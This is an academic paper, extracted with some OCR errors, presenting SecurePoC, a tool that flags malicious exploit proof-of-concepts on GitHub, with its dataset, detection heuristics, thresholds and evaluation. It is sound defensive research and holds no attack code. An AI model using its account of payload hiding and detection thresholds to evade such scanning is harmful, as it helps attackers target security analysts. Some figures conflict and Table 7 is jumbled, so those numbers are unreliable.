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Abstract

Exploit proof-of-concepts (PoCs) for known vulnerabilities
are widely shared in the security industry. They help security
analysts to learn from each other and facilitate security assess-
ments and red teaming tasks. In recent years, PoCs have been
widely distributed, e.g., via dedicated websites and platforms,
and also via public code repositories such as GitHub. How-
ever, there is no guarantee that publicly shared PoCs come
from trustworthy sources or even that they do what they are
supposed to do. Security researchers and practitioners have
widely reported cases of malicious PoCs that aim to attack
the analyst utilizing them.

In this work, we propose a tool called SecurePoC that
can help security analysts to triage GitHub-hosted PoCs and
identify malicious ones. To design and evaluate the tool, we
have collected a large dataset of 20,433 unique GitHub-hosted
PoC repositories for CVEs issued in 2016-2024. Our analysis
shows that approximately 2.5% of these repositories are likely
malicious. This shows that security analysts need to atten-
tively scrutinize the PoCs they intend to use. Our SecurePoC
can become an efficient and effective aide in triaging these
PoCs.

1 Introduction

During penetration testing or security assessments, infor-
mation security practitioners strive to identify known vul-
nerabilities in customers’ environments so that they can be
patched. However, it is not enough to simply locate a vulnera-
ble system; pentesters must also demonstrate its exploitability.
Professional frameworks like Metasploit [47] and reputable
databases such as Exploit-DB [41] offer exploits for many
known weaknesses (those listed in the Common Vulnerabili-
ties and Exposures list [60], often simply called CVEs). How-
ever, not all CVEs have corresponding exploits publicly avail-
able [12,21,23,30]. To find potential Proof of Concept (PoC)
exploits that demonstrate vulnerabilities, pentesters then fre-
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quently turn to public code repositories, such as GitHub'.

Yet, while reputable sources such as Exploit-DB validate
the effectiveness and legitimacy of PoCs, public code plat-
forms such as GitHub lack an exploit-vetting process. Pen-
testers may consider certain repository properties, including
but not limited to the number of watchers, stars, and forks, to
gauge the popularity and potential utility of a specific PoC.
However, the absence of vetting on GitHub means that PoCs
found there may be unreliable or even contain malicious con-
tent, posing a risk to the person running them, especially if
on a customer’s infrastructure.

The security community has already acknowledged the
lack of trustworthiness of PoCs published on GitHub and
social media platforms. For example, reputable cyber secu-
rity blogs like Bleepingcomputer [1] reported instances of
PoCs on GitHub containing the CobaltStrike [13] backdoor,
which targeted the security analysts with a fake exploit for
CVE-2022-26809 [40], and others spreading malware for
both Windows and Linux [8,25,26,32,43]. However, while
some professionals know about this problem, others keep
falling for it. A honey-PoC experiment by security researcher
Curtis Brazzell showed a remarkably high number of people
running unverified PoCs from GitHub [7]. Still, so far, to the
best of our knowledge, this issue has not yet been systemati-
cally researched.

The problem of malicious PoCs is particularly challeng-
ing, as the traditional malware detection and analysis tech-
niques are not always applicable. First, PoCs are vastly di-
verse, targeting different systems and employing a wide range
of techniques and programming languages. Second, PoCs
themselves can be considered as malicious software by their
nature, as they are specifically designed to demonstrate the
exploitability of known vulnerabilities. Thus, traditional mal-
ware detection methods would consider all PoCs to be ma-
licious, as they all will exhibit some known indicators of
compromise, such as starting a remote shell connection or
elevating privileges. Therefore, it is challenging to identify
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what are the properties of malicious PoCs (those attacking
the pentesters) that distinguish them from benign PoCs (those
that only do what is promised and demonstrate the exploitabil-
ity of a specific CVE). At the same time, the problem of
malicious PoCs is quite important, as these PoCs stealthily
target information security professionals. While one could
argue that it is expected that pentesters are aware of such
risks and pay attention when deciding to run a third-party
code in their customer’s environment, the previously men-
tioned cases [1,7,8,25,26,32,43] demonstrate that in practice
there is a lack of awareness and that the security analysts may
currently underestimate the extent of this threat.

Thus, in this work, we provide a method that can help secu-
rity analysis in triaging malicious PoCs and identifying suspi-
cious indicators that reveal nefarious intentions. This method,
implemented in an open-source tool called SecurePoC , re-
lies on several heuristic indicators (inclusion of binaries, pre-
defined IP addresses or domain names, and payloads encoded
in hexadecimal or base64), which can be efficiently extracted
from PoC repositories. SecurePoC is very versatile and can
be integrated into the available cyber threat intelligence and
analysis pipelines for processing the extracted indicators and
labeling them as malicious or suspicious. In the current ver-
sion, we integrate the APIs of two reputable platforms, Virus-
Total [61] and AbuseIPDB [2].

To design SecurePoC and evaluate it, we conducted a
comprehensive investigation into the distribution of malicious
PoCs on GitHub. To accomplish this, we collected publicly
available PoCs shared on GitHub for CVEs discovered be-
tween 2016 and 2024. Our dataset comprises 20,423 unique
repositories sharing PoCs for at least one CVE within the
specified time frame. To the best of our knowledge, this is
the first large-scale empirical investigation of publicly shared
PoCs. Applying SecurePoC , we estimate that 508 unique
PoC repositories are likely malicious, which accounts for
2.5% of the total unique PoC repositories that we analyzed.
Our extensive evaluation of SecurePoC , which comprised
manual analysis of randomly sampled PoCs and triage of a
malicious PoC dataset collected by a reputable security com-
pany Datadog’, shows that SecurePoC substantially reduces
the workload of the analyst and supports triage of suspicious
PoCs.

2 Background

In this work, we focus on proof-of-concept exploits for im-
portant vulnerabilities in third-party systems. Such vulnera-
bilities are identified by a unique reference ID, called CVE
ID or simply CVE. Issued by authoritative agencies, all CVE
IDs follow the pattern “CVE-YEAR-NUMBER”, where YEAR
stands for the year of discovery, and NUMBER is the unique
number identifying the vulnerability in this year [60]. Sev-
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eral reputable websites maintain the database of discovered
CVEs, among them CVE.org’ maintained by MITRE, Na-
tional Vulnerability Database* (NVD) maintained by NIST,
and CVEDetails”.

Exploits are pieces of code or methods that adversaries can
use to leverage a vulnerability and achieve impact on the tar-
get system (e.g., remote code execution or elevated privileges).
However, such exploits are not known for all vulnerabilities.
When a new CVE is discovered, the reporter usually provides
a proof-of-concept (PoC) — some evidence that this vulnera-
bility is potentially exploitable (i.e., can be weaponized by
the adversaries to a full exploit in the future) [5]. For example,
for memory corruption bugs like buffer overflow, a PoC can
be an input that would demonstrate memory corruption, while
an exploit would be a specific input that achieves injected
shellcode execution. The known PoCs and exploits submitted
by the reporter or discovered by other researchers are often
linked in the details about CVEs on the NVD website [6,22].

Note that, as we have mentioned, PoCs and even exploits
are designed with nefarious purposes: they are widely used in
the security industry by pentesters and red teamers to assess
system security and verify the presence of the vulnerability.
This is why there are reputable tools like Metasploit [47] or
sources like Exploit-DB [41] that collect, verify, and share
working exploits, and why linking available exploits and PoCs
in NVD is considered appropriate.

In our work, we refer to the instances of PoCs that attack
their users (instead of or in addition to the target system spec-
ified by the user) as malicious PoCs. As we discussed, many
cases of malicious PoCs were reported on social media in re-
cent years. In this work, we aim to propose a heuristic method
implemented in our SecurePoC tool that helps analysts to
quickly identify indicators of compromise (I0Cs) in PoC code
and assess them for maliciousness.

The challenge of malicious PoCs.There are several chal-
lenges that hamper the detection of malicious PoCs. First,
code of all PoCs can be deemed inherently malicious, as all
PoCs attempt to disrupt the system and demonstrate that it is
vulnerable. Moreover, PoCs may exhibit additional proper-
ties associated with malicious software, such as the inclusion
of malicious binaries (e.g., hacking tools) and the elevation
of privileges on the exploited system. Thus, the traditional
malware detection methods (whether based on static or dy-
namic analysis, or pattern-matching) need to be specifically
attuned to the differences between the regular PoCs that only
attempt to exploit the targeted vulnerability from malicious
ones that do something extra, e.g., attempt to exploit another
vulnerability or reach a remote web server.

Second, like any malware, malicious PoCs can have time-
sensitive, non-persistent indicators. For example, if a PoC
published in 2020 tries to contact an IP address, this IP might
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have been active as a Command&Control (C&C) server back
then, but currently, at the time of check in 2025, it will not be
associated with any malicious activity. Thus, analyzing older
PoCs presents the challenge of dealing with historical IoC
data.

Third, a PoC, especially a malicious one, can be obfuscated,
making it more difficult to detect the presence of adversarial
behaviors based on expert code review, pattern-matching, or
static analysis. Dynamic analysis (or manual inspection) can
support a better understanding of the PoC behaviors. However,
PoCs are targeting a vast diversity of potentially vulnerable
systems and are written in many programming languages (see
our analysis in Section 3). Thus, it is challenging to design a
platform that would support the execution of a representative
variety of PoCs published on GitHub.

Considering these challenges, we chose to design our
SecurePoC tool to rely on several heuristics that apply regu-
lar expressions to find several indicators of compromise inside
the PoC code. This approach enables us to process a large
dataset of PoCs mined from GitHub and identify malicious
PoCs. SecurePoC can also be easily integrated as a part
of a toolset of security analysts and pentesters who need to
deal with diverse PoCs collected from untrusted sources like
GitHub.

3 Data Collection & Dataset

3.1 Data retrieval and cleaning

GitHub is a popular platform for sharing code, including PoCs.
To gather a large dataset of PoCs from GitHub, we used the
GitHub API, which provides keyword-based search capabil-
ities for repositories, code, and commits. Our focus was on
finding repositories that contained Proof of Concepts (PoCs)
for CVEs. We also collected metadata about these reposito-
ries, including descriptions, star ratings, and fork counts. In
this section, we outline our data collection procedure and the
dataset that was gathered for this study.

Search strings. According to the GitHub API documenta-
tion [14], the keyword search is performed on the repository
name, description, and README. To search for PoCs, we
start by compiling a list of CVE IDs issued within our target
period from MITRE’s CVE.org [60].

We collected the data by searching repositories for
keywords following the target CVE IDs in the format
“CVE-YEAR-ID” [59]. We used several variations of keywords,
such as “CVE YEAR-ID”, “CVE-YEAR ID”, “CVE YEAR ID”,
and “CVE:YEAR-ID” to increase the search coverage. In these
variations, we also considered the effects of using the dif-
ferent dash types within the “CVE-YEAR-ID”. Variations we
searched for included the standard hyphen, the minus sign,
the en dash, and the em dash. All repositories returned by
these queries were downloaded and analyzed to identify and
assess their relevance further.

The data cleaning procedure. After collecting the data,
we first need to clean the dataset. The initial search results
can contain various repositories that are not all specifically
PoCs, but can also be Indicators of Compromise (IoCs) and
descriptions of CVEs.

To ensure the accuracy and relevance of the dataset, we per-
formed additional filtering, focusing on reviewing the repos-
itories that contained many CVE IDs (more than 10) or in-
cluded explicit IoC strings (“indicator of compromise” or
“IoC”) without containing any associated PoC code. We ex-
amined the contents, source code, and associated documen-
tation of such repositories to verify if they contained PoCs
for CVE exploits. This cleaning process enabled us to elim-
inate some irrelevant repositories (e.g., multiple copies of
the whole NVD CVE dataset or a large part of it) and focus
on those that aligned with our research objectives. However,
we did not aim to eliminate all noise from the data, because
real-world PoCs are noisy by default: some of them contain
details of the PoC only in the README file, while others
include instructions (e.g., pdf files) that should be read by
the analysts. The current implementation of SecurePoC will
filter out such noisier PoCs during the analysis, but for the
sake of the PoC data collection, we aimed to preserve them
and only remove repositories that were clearly not aimed at
analysts looking for PoCs.

We further excluded repositories that were empty (those of
size 0). These repositories lacked any meaningful proof-of-
concept (PoC) content, and, therefore, were also not relevant
for the analysis.

After collecting the data, we apply a reduction procedure to
streamline the analysis and eliminate redundant data. Specif-
ically, when multiple repositories are identical, we want to
retain only one unique instance. This reduction ensures that
our analysis focuses on distinct repositories while excluding
duplicates caused by forks, mirrors, or repeated uploads.

To achieve this, we create a compressed archive (.zip)
of each repository’s HEAD (the latest commit on the default
branch) and compute its SHA-256 checksum. This hash serves
as a unique identifier for the repository’s content, allowing us
to cross-reference and de-duplicate repositories.

3.2 Snapshots and the dataset

To support the analysis of Proof-of-Concept (PoC) exploits,
we collected data from GitHub three times. These snapshots
were designed to capture the availability of PoCs for Common
Vulnerabilities and Exposures (CVEs) over a broad range
of years. The first snapshot, collected in 2022, focused on
PoCs for CVEs reported from 2017 to 2022. The second
snapshot expanded the scope to cover CVEs from 2016 to
2024, ensuring a more comprehensive dataset. Finally, a third
snapshot was collected in 2024 to fill any remaining gaps and
provide more complete coverage of CVEs reported in that
year.



Table 1: Summary of the snapshots and the datasets

Details

Snapshot Collected CVE-Years # Reposnor:les
after cleaning

and deduplicating

Snapshot; Apr2022 [2017-2021] 9,392
Snapshot, Mar-Apr 2024  [2016-2024] 18,592
Snapshot3 Aug 2024 2024 1,843
Dataset Dpocs  (after merging)  [2016-2024] 20,423

Snapshot;. The first snapshot of PoCs was downloaded
and stored between April-10-2022, and April-23-2022. In
this snapshot, we collected all available repositories that men-
tioned CVEs from 2017 until 2021 and that were discovered
within our target period, including forked repositories. As a
result of our cleaning and deduplication procedure, the num-
ber of repositories under analysis was reduced from 48,700
to 9,392 unique repositories (as identified by our hashing
procedure).

Snapshot,. The second snapshot was collected in the
period between March-30-2024, and April-8-2024. We
searched for all available GitHub repositories that match CVE-
identifiers from 2016 until 2024. After the cleaning and dedu-
plication process, the number of repositories was reduced
from 88,151 to 18,592 unique repositories.

Snapsheots. The third, most recent snapshot was collected
on August-28-2024. This snapshot was gathered to investi-
gate more recent PoCs from 2024 and it focused only on the
CVE:s issued by that time in 2024. As part of our procedure,
the number of repositories under analysis was streamlined,
decreasing from 5,470 to a total of 1,843 unique repositories.

Merging the snapshots into a single dataset. We merged
the snapshots into a single dataset and de-duplicated the PoC
repositories using their SHA-256 checksums as identifiers.
Thus, in our final dataset, each element is a unique version
of a PoC-containing repository. As we are merging reposito-
ries collected at three different moments, some of the PoC
repositories have been collected twice. In total, 1,346 reposi-
tories were captured twice. Of these, 1,315 were not modified
between the snapshots, and, thus, they are included in the
dataset once. Some of the repositories are included multiple
times because their content changed between the snapshots;
we include both versions. Thirty-one (31) repositories were
captured twice and exhibited changes between the snapshots;
we include both versions in the final dataset.

Table 1 provides a summary of our data collection (snap-
shots) and the resulting dataset Dpocs Of 20,423 unique
(92,602 non-unique) PoC repositories that we use in our study.
In the remainder of this paper, we focus on the analysis of the
unique PoC repositories dataset, but sometimes we will also
discuss the whole PoC dataset we collected — we will then
explicitly state that this is about non-unique or all PoCs.

3.3 Dataset analysis

By analyzing the collected PoCs dataset Dpocs , We can deter-
mine which CVEs have the highest number of PoCs available
on GitHub. Figure 2 presents boxplots illustrating the distri-
bution of PoCs for CVEs on GitHub during the target period.
Each data point on the graph represents a unique CVE ID and
the corresponding number of PoCs derived from all reposito-
ries we collected. Overall, the number of PoCs per CVE on
GitHub has remained relatively consistent across the years
2016-2020, and subsequently, we can see a slight decline in
PoC repositories per CVE ID.

The points at the top of Figure 2, representing the CVEs
with the highest number of PoCs, correspond to arguably
the most significant security issues of the past decade. For
example, the foremost outlier is CVE-2021-44228 [39] (also
known as Log4Shell), a critical vulnerability in Log4 j. The
second CVE with the most PoCs is CVE-2019-0708 [36] (also
known as BlueKeep), which pertains to a vulnerability in the
Remote Desktop Protocol (RDP). CVE-2020-1938 [38], a
vulnerability in the Apache JServ Protocol, is in the third
position. It is noteworthy that some of these flaws continue to
be widely exploited by hackers in the wild [58], explaining
their prominent positions in our dataset in terms of the number
of published PoCs.

Table 5 presents the distribution of CVE types in our dataset
of PoCs. Specifically, it categorizes the top 10 weaknesses
according to the Common Weakness Enumeration® (CWE)
corresponding to the CVEs in our dataset (we used the NVD
data for attributing CVEs to CWEs). We can see that the
collected PoCs target a variety of security issues, with code
execution being the most prevalent type of weakness.

To illustrate the relationship between the targeted CVE-
year and the year of repository creation, we present a heatmap
in Figure 1. It is evident that the majority of repositories were
created in the same year as the corresponding CVE. However,
there are also instances where repositories were created prior
to the issuance of the associated CVE. This is attributed to
repositories containing PoCs for multiple CVEs or repository
reuse (we verified these cases manually).

The statistics regarding the top 10 PoC programming lan-
guages (as reported by GitHub) are presented in Table 2. It
is evident from the table that Python has emerged as the
dominant programming language among hackers and exploit
developers over the past five years. This can be attributed
to the extensive range of libraries available in Python that
support fundamental programming and “hacking” tasks. It is
worth noting that GitHub was unable to label the language of
the majority of repositories due to their inclusion of various
file types, programming languages, or solely consisting of
README files that describe the attack. Consequently, these
repositories were categorized as “Undetected” in our dataset.

For a better understanding of our PoCs dataset and the
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Figure 1: Heatmap of the repositories per CVE-year and the
year of creation of the repository.

Table 2: Overview of top 10 used programming languages (in
all collected PoC repositories).

Programming language Count
Undetected 66,052
Python 12,904
C 3,598
C++ 1,730
Java 1,690
Shell 1,368
JavaScript 823
Go 783
HTML 684
Ruby 527

targeted weaknesses, we conducted a cross-check with the
NIST NVD database [34] to determine the number of CVEs
for which PoCs were available on GitHub. The results of this
analysis are summarized in Table 4. It is evident from the
table that only a small portion of CVEs have corresponding
public exploit code published on GitHub. The number of PoCs
listed in Table 4 is higher than the total number of repositories
collected, as many repositories contain PoCs for multiple
CVEs, sometimes spanning different years.

3.4 Current status of repositories

Table 3 summarizes the results of the PoC repository status
check performed on March 10, 2025. Here we look at all
repositories collected in the three snapshots (i.e., identified
by their GitHub address and not a unique hash). In this table,
changed means that the repository was modified in some way:
pushed when there was a commit made, and updated when
any other change was made to the repository, e.g. a wiki or
programming language modification’. This table shows that
the status of most of the collected PoC repositories has not
changed since their collection. Some of the repositories (7,850
as of March 2025) were taken offline. Notably, five of these

7See, e.g., this explanation from GitHub https://github.com/orgs/
community/discussions/24442.

Table 3: State of all 92,602 collected PoC repositories

(March 2025)

Status # Repos (March 2025)
Unchanged 79,829
Changed 4,923
Pushed 598
Updated 4,838

Taken down by the owner 7,843
GitHub TOS violations 5
GitHub DMCA takedowns 2
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Figure 2: Distribution of CVE PoCs per year.

repositories had been removed by GitHub due to violations
of GitHub’s terms of service®, and two by DMCA takedown
notices”’.

4 Methodology

Our methodology and the PoCs analysis flow implemented
in SecurePoC are outlined in Figure 3. Conceptually, the
tool is divided into two parts. First, SecurePoC will scan a
PoC repository and extract potential indicators of compro-
mise (IoCs). These IoCs are then scanned using the avail-
able analysis methods or APIs of reputable platforms (e.g.,
VirusTotal [61] or AbuseIPDB [2]) and presented alongside
the scanning results to the analyst for further inspection and
decision-making.

4.1 Heuristic IoC extraction

As discussed in Section 2, it is challenging to identify ma-
licious PoCs due to a combination of factors. Upon analyz-
ing the known cases reported on social media and manually

8https://docs.github.com/en/site-policy/github-terms/git
hub-terms-of-service
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Table 4: Overview of the collected data with respect to unique CVE IDs, number of repositories, and PoC exploits.

CVE-Year # Unique CVEs targeted % CVEs assigned by NVD # PoC exploits # Repos
2016 184 1.74% 4,206 3,685
2017 381 2.24% 16,785 8,127
2018 537 3.07% 19,829 9,074
2019 707 4.15% 31,311 14,441
2020 907 4.41% 45,239 13,778
2021 990 4.30% 41,454 21,648
2022 959 3.69% 12,137 11,359
2023 1,107 3.76% 7,715 7,394
2024 737 2.00% 7,125 5,592
Total 6,539 3.30% 185,801 92,602 (20,423 unique)
ettty SecurePoC ------------------o---oo- 1
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Figure 3: Our methodology.

Table 5: Top 10 most common CWEs in our dataset

Rank | CWE Name | # CVEs
1 | CWE-79: Cross-site scripting 579
2 | CWE-787: Out-of-bounds write 292
3 | CWE-89: SQL injection 244
4 | CWE-22: Path traversal 232
5 | CWE-78: OS command injection 208
6 | CWE-20: Improper input validation 180
7 | CWE-434: Unrestricted file upload 143
8 | CWE-416: Use after free 133
9 | CWE-502: Unsafe deserialization 133

10 | CWE-119: Memory buffer overflow 120

dissecting several malicious PoCs, we have identified the fol-
lowing heuristic indicators of maliciousness in PoCs that are
implemented in SecurePoC .

IP indicators. In general, PoCs should not have commu-
nications with predefined public IP addresses because the
PoC developers cannot know a priori which system will be
tested by the analyst using the PoC. Communications with IP
addresses are thus a strong indicator of malicious behavior,
such as exfiltrating information or/and downloading mali-
cious files. To analyze this, SecurePoC extracts IP addresses
from the repositories using regular expressions. It then filters
for public IP addresses, removing private IP addresses and
IPs mentioned in comments, help menus, and IoCs. This re-

duces the number of IP addresses that need to be checked and
reduces potential false positives. Next, these IPs can be cross-
referenced using current threat intelligence feeds available
to the analyst. Currently, SecurePoC integrates an IP status
check using VirusTotal [61] and AbuseIPDB [2].

FQDN (domain) and URL indicators. Similarly to IP
addresses, communication with a pre-defined URL is a strong
indicator of maliciousness. Thus, using regular expressions,
SecurePoC scans the code for embedded URL patterns.
The extracted URLs can then be analyzed to identify po-
tentially malicious domains. Currently, SecurePoC queries
each FQDN (fully qualified domain name) from the extracted
URLs against VirusTotal; this process helps analysts to de-
termine quickly whether a URL is malicious, suspicious, or
safe.

Malicious binaries. Some PoC repositories provide pre-
built binaries to simplify the exploitation process. Some of
these binaries are known hacking tools that can be lever-
aged in the exploit, e.g., BloodHound'", mimikatz'' or Pow-
erSploit'”. However, as reverse engineering a binary is chal-
lenging, malicious PoCs sometimes embed binaries to deliver
the adversarial functionality. Thus, it is essential to capture
binaries and libraries shared in PoCs and analyze them.

We currently focus on files with the following MIME

Ohttps://github.com/SpecterOps/BloodHound
llhttps://github.com/ParrotSec/mimikatz
2https://github.com/PowerShellMafia/PowerSploit
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types that represent executable and binary files across
different  platforms: application/x-executable,
application/x-sharedlib, application/x-elf,
application/x-mach-binary, application/x-dosexec,
application/x-pie-executable,

application/octet-stream, and
application/x-msdownload. These MIME types encompass
executables and shared libraries for various operating systems,
including Windows and Linux. SecurePoC identifies these
files through file signature matching.

The analysts can then analyze these binaries to determine
their safety. Currently, after extracting a binary, SecurePoC
will generate its hash and check it on VirusTotal. If the hash is
not known to VirusTotal, SecurePoC will upload the binary
for scanning. However, analyzing hacking tools on VirusTotal
requires caution, as these can also be labeled as malicious.
To provide context to the analyst, binaries flagged by Virus-
Total as malicious are shown to the tool user together with
the number of AV scanners that detected it as malicious, its
VirusTotal labels, and a link to the VirusTotal report. The ana-
lyst can then decide what is worth investigating. We note that
binary analysis with VirusTotal is a common way to identify
malicious functionality [3].

Extraction of obfuscated payloads. Encoding is fre-
quently used by adversaries to hinder analysis, and extracting
encoded payload provides insights into potential malicious
instructions or hidden commands within the code [24, 42].
Thus, SecurePoC integrates regexes to detect basic obfusca-
tion methods that can be de-obfuscated and checked by the
analyst.

Hexadecimal extraction: Hexadecimal (hex) encoding is
commonly used to obfuscate malicious payloads. We auto-
matically extract hexadecimal payloads, using regular expres-
sions, from all code files and concatenate the values for each
file. When possible, we decoded the concatenated values into
a human-readable format to identify IP calls or other pay-
loads that might be encoded within, this will be presented
to the analyst to decide if further analysis is required. For
non-decodable and non-printable strings, SecurePoC has an
option to flag them based on their length.

Base64 extraction: Base64 encoding is another prevalent
method for obfuscating malicious payloads. By extracting
base64 values using regular expressions, SecurePoC allows
analysts to analyze them for hidden scripts, IPs, or payloads.
We first attempt to decode the extracted base64 data, check-
ing whether it is decodable and printable. Additionally, we
examine the first bytes to determine whether the decoded
data corresponds to a specific file type. Similarly to the ap-
proach for hexadecimal strings, we provide the option to flag
non-decodable and non-printable strings.

These techniques collectively enhance the tool’s ability to
flag potentially malicious PoCs and help analysts mitigate the
risks associated with them, helping to protect users within the
security community and raise awareness of potential threats.

Out of these heuristic indicators, URLs are relatively
straightforward to label as malicious, as they can be easily ver-
ified against known databases. Binaries can be easily checked
using platforms like VirusTotal, however, caution is required
in dealing with hacking tools. In contrast, IoCs like IP ad-
dresses and base64- and hex-encoded data, require a more
in-depth analysis to ensure accurate detection.

4.2 SecurePoC configuration

SecurePoC incorporates multiple configuration options to
enhance the accuracy of extracted indicators and diminish
the amount of false positives. We also aimed to provide the
analysts freedom to configure the tool for their own prefer-
ences and context, and integrate it with the available threat
intelligence sources. For all currently supported indicators,
we provide basic configurations that were attuned based on
our experimentation with the dataset. These can further be
extended by the analysts.

For example, for URL analysis, we maintain an exclusion
list of FQDNSs and flag suspicious FQDN extensions based
on a configurable input list.

For base64 and hexadecimal analysis, we apply a curated
list of excluded strings that conform to the encoding grammar
but are not valid encoded data, along with a substring exclu-
sion list to filter out non-relevant matches. For both encoded
data, we enforce a minimum length threshold to improve
extraction reliability. Specifically, base64 strings must be at
least 16 characters before decoding, while non-decodable
long strings must reach 32 characters before being flagged for
both base64 and hexadecimal.

Binary detection is supported through file signature match-
ing, where we identify and hash files with the MIME types
listed earlier. The tool also provides an option to ignore spe-
cific hashes of known hacking tools or already verified bina-
ries. Furthermore, certain trivial patterns, such as one-byte
Unix line breaks (0x02), are excluded from consideration.

Our tooling also enables directory-based exclusions. For ex-
ample, the tool currently does not scan files within directories
such as .git. Additionally, specific file types such as .zip
and .mp4 can be excluded from base64, hex, IP, and URL
extraction, while binary file exclusions are handled separately
to optimize processing efficiency.

5 Evaluation

To evaluate the effectiveness of SecurePoC , we tested it in
several ways. First, we scanned our PoCs dataset Dpocs US-
ing the tool to assess the amount of extracted indicators and
the reduction of work for the analysts (Section 5.1). Sec-
ond, we assessed the quality of the heuristic scanning results
by cross-checking with manual analysis of the repositories
(Section 5.2). Third, we collaborated with Datadog Security



Labs'” to analyze a malicious PoC campaign previously de-
tected by Datadog (Section 5.3). Finally, we used the tool
to analyze our whole PoC dataset and we report the overall
prevalence of the indicators flagged by the currently integrated
VirusTotal and AbuseIPDB APIs (Section 5.4).

5.1 IoC extraction results

To evaluate the effectiveness of our tool, we applied it to all
20,423 repositories in the dataset. However, 662 repositories
could not be analyzed due to their large size or the exces-
sive time required for processing (we set the time-out for
10 minutes per repo), resulting in a total of 19,761 analyzed
PoC repositories. It took us approximately 6 hours to process
the dataset with this timeout (machine specifications: AMD
EPYC 7282 CPU [16-core, 32 threads], 62 GB RAM).

Table 6 presents the distribution of flagged heuristics across
the analyzed repositories. The most frequently detected heuris-
tic was URL-based indicators, appearing in 3,467 repositories,
followed by binary signatures in 2,050 cases. Decodable hex-
adecimal strings were flagged in 1,169 repositories, while
IP-based indicators were present in 941 repositories. Base64
was identified in different forms: 260 repositories contained
decodable Base64 strings, 261 included decodable base64
that was also printable data, and 42 repositories were flagged
for containing Base64-encoded files.

Reduction in amount of work. One of the key advantages
of SecurePoC is that it can quickly extract relevant indicators
and present them to the analyst, thereby reducing the time an
analyst needs to spend on checking the whole PoC repository.
This targeted approach minimizes the efforts of an analyst by
prioritizing relevant indicators for evaluation.

We provide an estimate of the reduction of work for the
analyst in Table 7. It presents the key summary statistics
of the studied repositories along two dimensions: lines of
analyzable code (binaries excluded) against the number of the
detected indicators of compromise per repository, and the size
(in bytes) of the original repositories against the size of IoCs
extracted per repository. The size reduction statistics were
computed from a randomly selected representative sample
of 367 PoCs. We see that the distribution of analyzable code
varies from a single line to over 28 million lines. In contrast
the number of IoCs found is relatively low, with a median of
only 2 per repository. The difference between the median and
maximum in both counts highlights the presence of several
large repositories with extensive content and a high number of
flagged indicators. Repository sizes range from 24,093 bytes
to 189,906,628 bytes, with a median size of 401,816 bytes. In
comparison, the tooling output sizes are much smaller, from
887 bytes to 4,288,666 bytes, with a median of 1,970 bytes.

The mean IoC ratio per line of analyzable code across
repositories is 0.0078, while the median is 0.0015, indicating
that in most PoC repositories, only a small fraction of the

Bnttps://securitylabs.datadoghg.comn/

analyzable code contains flagged indicators. The difference
between the mean and median indicates the presence of a
small number of repositories with a higher density of IoCs
that skew the average. This demonstrates the tool’s ability to
narrow down large repositories to the most relevant sections,
significantly reducing the overall search space for analysts.

5.2 Manual analysis

To further validate SecurePoC ’s reliability and the quality of
our selected indicators, we randomly selected samples from
both flagged (with IoCs) and not-flagged PoC repositories
and performed manual analysis. This analysis was performed
by an experienced security analyst (with more than 8 years of
industry experience in security assessment, malware analysis,
and threat intelligence).

5.2.1 Analysis of a representative sample of flagged PoCs

We conducted a systematic review of our flagging system’s
accuracy by selecting and examining a random representative
sample of 367 PoC repositories along with all their associated
IoCs. Our first goal was to assess the proportion of correctly
(e.g., actual IP addresses) versus incorrectly flagged indicators
(false positives: e.g., version numbers picked up by the regular
expressions used for IP addresses). Table 8 Summarizes the
results of this process.

For base64, we detected 32 instances (IoCs) with 25 true
positives (TPs) and 7 false positives (FPs), indicating that
while the majority of base64 matches are valid, the generic
nature of the regex and the small size of some payloads lead to
false positives, necessitating additional filtering. In contrast,
the IP heuristic produced 118 TPs and 42 FPs out of 160
detected IP addresses. Here, false positives were all attributed
to versioning patterns in the code that were captured by the
1P regex.

For hex-encoded strings, the results are more mixed with
140 flagged IoCs, split nearly evenly into 73 TPs and 67 FPs;
this is due to the small length of extracted hex strings and
the presence of many non-decodable hex payloads, which
contribute to a relatively high number of FPs and suggest
that further refinement is needed to exclude irrelevant hex
matches.

Finally, SecurePoC identified 375 binaries and 1680
URLs, which were all well-formed (no false positives).

Analysis of maliciousness. In the representative sample,
SecurePoC flagged 375 binaries and 1680 domains in 312
repositories (85% of the representative sample we examined),
which were subsequently submitted to VirusTotal (VT). VT re-
sults indicated that there were 172 malicious binaries and 109
malicious or suspicious URLs in 101 repositories (27.5% of
the representative sample studied). However, although Virus-
Total provides valuable insights and reduces the analyst’s
workload substantially, its malicious labeling can include
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Table 6: Summary of flagged IoCs across the 19,761 analyzed repositories

Heuristic | # Flagged repositories | #IoCs
Binaries 2,050 9,510
URLSs 3,467 65,774
IP addresses 935 23,357
Base64 strings (decodable) 260 1,594
Base64 strings (printable decodable) 261 690
Base64 strings (file encoded) 42 45
Hexadecimal strings (decodable) 1,169 1,639
Total 5.874 | 102,609

Table 7: Assessment of the workload reduction for the analysts, in terms of lines of code and in size (in bytes)

Statistic ‘ Lines to check Size (bytes)
\ Analyzable LoCs IoCs found \ Repository size 10oCs size (per repo)
Min 1 24,093 887
Q1 107 63,639 1,329
Median 414 401,816 1,970
Q3 2291.5 3,948,049 5,170
Max 28,829,782 11,935 189,906,628 4,288,666

Table 8: Assessment of true positives (TPs) and false positives
(FPs) of flagged indicators on the representative sample of
flagged PoC repositories

Heuristic Detected TP FP
Binaries 375 375 -
URLs 1680 1680 -
Base64 32 25 7
Hex 140 73 67
1P 160 118 42
Total 2387 2271 116

Table 9: Labeling and assessment of the labels assigned by
VirusTotal (for binaries and URLs detected by SecurePoC )

Heuristic Detected Flagged by VI TP FP
Binaries 375 172 16 156
URLs 1680 109 27 82
Total indicators 2.055 281 43 238
Total repositories 312 101 33 68

false positives, e.g., for binaries related to security tools or
compiled proof-of-concept exploits. Therefore, we manually
assessed the VT results, carefully considering all available
evidence. Table 9 summarizes the results of our assessment
of the automated labeling by VirusTotal.

Specifically, we reviewed the VirusTotal reports, applying
a stricter set of criteria to assess actual maliciousness. For bi-
naries, this included examining network behavior by looking

at connections to known malicious IPs/domains and manually
excluding known hacktools and PoCs for CVEs. We also ex-
amined VT’s community feed to assess the maliciousness of
the binaries, with additional validation from reliable sources
such as Abuse.ch'?. Finally, we examined the available behav-
ioral evidence, such as cases where the binary was dropped by
another malicious sample or when it itself dropped or deliv-
ered suspicious files. Based on this process, we classified 16
binaries as TPs, while 156 binaries were flagged as potential
FPs due to weak or questionable indicators.

For URLSs, we required indicators such as known hosting
of payloads, participation in command-and-control (C2) ac-
tivity, and being tagged as malicious in VT’s community feed
and Abuse.ch, while excluding benign or research-associated
URLs to avoid false positives. Based on these criteria, we
identified 27 cases as TP and 82 cases as potential FPs. In
